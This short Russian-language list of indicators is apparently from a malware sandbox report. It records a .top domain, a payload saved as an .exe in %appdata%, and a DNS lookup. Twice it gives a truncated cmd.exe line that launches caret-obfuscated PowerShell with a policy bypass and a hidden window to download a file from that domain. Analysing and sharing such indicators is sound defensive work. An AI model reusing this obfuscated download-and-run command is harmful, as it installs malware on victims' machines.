Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POWE^r^SHELL.eXe ^-EX^eCU^TIonpol^i^c^Y bY^PA^SS -NoP^rO^fi^le -Win^D^O^WS^T^YL^e ^h^idd^EN (NE^W-obJE^CT S^Y^ste^m.Ne^T.^WeBC^lIEnT^)^.^DOWn^LoAdF^iLe(^'http://www.zonedopesa...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "POWE^r^SHELL.eXe ^-EX^eCU^TIonpol^i^c^Y bY^PA^SS -NoP^rO^fi^le -Win^D^O^WS^T^YL^e ^h^idd^EN (NE^W-obJE^CT S^Y^ste^m.Ne^T.^WeBC^lIEnT^)^.^DOWn^LoAdF^iLe(^'http://www.zonedopesa...' (со скрытым окном)